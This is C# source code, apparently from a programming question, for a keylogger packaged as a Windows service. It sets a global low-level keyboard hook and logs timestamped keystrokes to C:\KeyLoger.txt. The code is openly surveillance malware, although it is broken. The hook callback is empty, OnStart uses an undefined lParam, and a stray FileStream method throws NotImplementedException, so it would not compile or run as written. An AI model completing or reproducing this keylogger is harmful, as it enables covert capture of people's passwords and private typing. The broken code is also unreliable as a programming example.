Windows Service C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

namespace MyService
{
    public partial class MyService : ServiceBase
    {
 
        public MyService()
        {
            
            InitializeComponent();
            System.IO.StreamWriter file;
            System.Timers.Timer timer1;
            timer1 = new System.Timers.Timer();
            file = new StreamWriter(new FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append));
        }
        public class InterceptKeys
        {
 
            private const int WH_KEYBOARD_LL = 13;
            private const int WM_KEYDOWN = 0x0100;
            private static LowLevelKeyboardProc _proc = HookCallback;
            private static IntPtr _hookID = IntPtr.Zero;
 
            public static void Main()
            {
 
                _hookID = SetHook(_proc);
                Application.Run();
                UnhookWindowsHookEx(_hookID);
            }
 
            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                using (Process curProcess = Process.GetCurrentProcess())
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                        GetModuleHandle(curModule.ModuleName), 0);
                }
            }
 
            private delegate IntPtr LowLevelKeyboardProc(
                int nCode, IntPtr wParam, IntPtr lParam);
 
            private static IntPtr HookCallback(
                int nCode, IntPtr wParam, IntPtr lParam)
            {
 
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {

                }
 
                return CallNextHookEx(_hookID, nCode, wParam, lParam);
            }
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr SetWindowsHookEx(int idHook,
                LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
                IntPtr wParam, IntPtr lParam);
 
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string lpModuleName);
        }

        protected override void OnStart(string[] args)
        {
            System.IO.StreamWriter file;
            System.Timers.Timer timer1;
            timer1 = new System.Timers.Timer();
            file = new StreamWriter(new FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append));
            int vkCode = Marshal.ReadInt32(lParam);
            file.WriteLine(DateTime.Now.ToString("dd.MM.yyyy HH:mm:ss || YOU PRESS ----> ") + (Keys)vkCode);
            file.Flush();
 
        }

        private StreamWriter FileStream(string p, FileMode fileMode)
        {
            throw new NotImplementedException();
        }
 
        protected override void OnStop()
        {
 
            System.IO.StreamWriter file;
 
            file = FileStream("C:\\KeyLoger.txt", System.IO.FileMode.Append);
            file.Flush();
            file.Close();
 
        }

    }
}